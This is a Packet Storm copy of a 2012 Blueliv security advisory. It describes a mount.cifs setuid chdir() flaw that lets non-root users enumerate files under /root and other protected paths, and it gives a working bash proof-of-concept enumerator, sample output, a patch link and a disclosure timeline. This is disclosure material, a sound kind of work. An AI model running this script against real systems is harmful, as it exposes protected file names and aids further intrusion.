what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

mount.cifs chdir() File Identification

mount.cifs chdir() File Identification
Posted Apr 25, 2012
Authored by Jesus Olmos Gonzalez

mount.cifs chdir() allows for arbitrary file identification as root. All versions prior to 5.4 are affected.

tags | exploit, arbitrary, root
SHA-256 | 1a07d210c27edc8b4cb7f1f1ad3579fd0a15fb1679968e8465902f2d88e2e7ae

mount.cifs chdir() File Identification

Change Mirror Download
########## Blueliv Advisory 2012-004 ##########
- Discovered by: Jesus Olmos Gonzalez at Blueliv
- Risk: 5/5
- Impact: 1/5
###############################################

1. VULNERABILITY
-------------------------
linux privileged and arbitrary chdir(),
this leads to an arbitary file identification as root.

2. BACKGROUND
-------------------------
mount.cifs (GNU Software) is part of linux base system, and is setuided on
most of the distributions (archlinux, debian, ubuntu, ...)

This software mounts cifs partition to directories authorized by fstab.



3. DESCRIPTION
-------------------------
Althow there is not authorized cifs mounts, is possible by the second
parameter
to control a privileged chdir() syscall and infer the return value throught
the responses.

This implies, a little security breach on linux permissions. A non root user
can enumerate files and directories as root.

This can help to exploit another vulnerabilities, enumerate /root/
contents,
descriptors used by any process, user homes, etc ...

one of the attack vectors is /root/ directory scan:

[sha0@spinlock advs]$ ./root_eye.sh wordlist /root/
--- directories ---
.pulse1
.bash_history
.alsaplayer
.dbus
.mozilla
.VirtualBox
.vim
.links
.config
.cpan
.gnome2
--- files ---
.pulse-cookie
.keystore
.bash_profile
dead.letter
.mysql_history
.Xauthority
.vimrc
.viminfo
secret

Also let to enumerate sub-sub directories in order to dump readable files.



4. PROOF OF CONCEPT
-------------------------
#!/bin/bash
# root enumerator 0day by jesus.olmos@blueliv.com @sha0coder
# discover root protected files & directories, user homes, process
descriptors, ...

path=$2
wordlist=$1

for i in `cat $wordlist`
do

echo -n "$i:"

/sbin/mount.cifs //127.0.0.1/a $path/$i

done 2>log.$$ 1>&2

echo --- directories ---
for i in `grep 'denied' log.$$ | cut -d ':' -f 1`
do
echo $i
done

echo --- files ---
for i in `grep -i 'not a directory' log.$$ | cut -d ':' -f 1`
do
echo $i
done

rm log.$$



5. BUSINESS IMPACT
-------------------------
May involve issues of confidentiality.


6. SYSTEMS AFFECTED
-------------------------
all versions prior to 5.4

7. SOLUTION
-------------------------
Easy solution: Don't setuid mount.cifs
The Patch: https://attachments.samba.org/attachment.cgi?id=7416

Or upgrade to 5.4 release.


8. REFERENCES
-------------------------
http://bugzilla.samba.org/show_bug.cgi?id=8821
http://gnu.org


9. CREDITS
-------------------------
Jesus Olmos Gonzalez jolmos(at)blueliv(dot)com @sha0coder
Blueliv blueliv(dot)com
Rootedcon Arena2012 rootedcon(dot)es


10. DISCOLSURE TIMELINE
-------------------------
February 20, 2012: Vulnerability discovered
March 07, 2012: Reported to the vendor, through bugzilla.
March 13, 2012: No vendor respon.
March 21, 2012: Reported again to vendor.
March 27, 2012: Vendor response, studying the best way to fix it,
but they recommend not to setuid by default.
March 31, 2012: The patch was aplied to 5.4 release


11. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Blueliv accepts no responsibility for any damage
caused by the use or misuse of this information.




--
Jesús Olmos
jesus.olmos@blueliv.com
OPST, CEH, ECSP certified

Parc Innovació La Salle
C/Sant Joan de la Salle 42, Planta 3
08022 Barcelona
Telf. + 34 902908712
Fax. + 34 933960900


Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close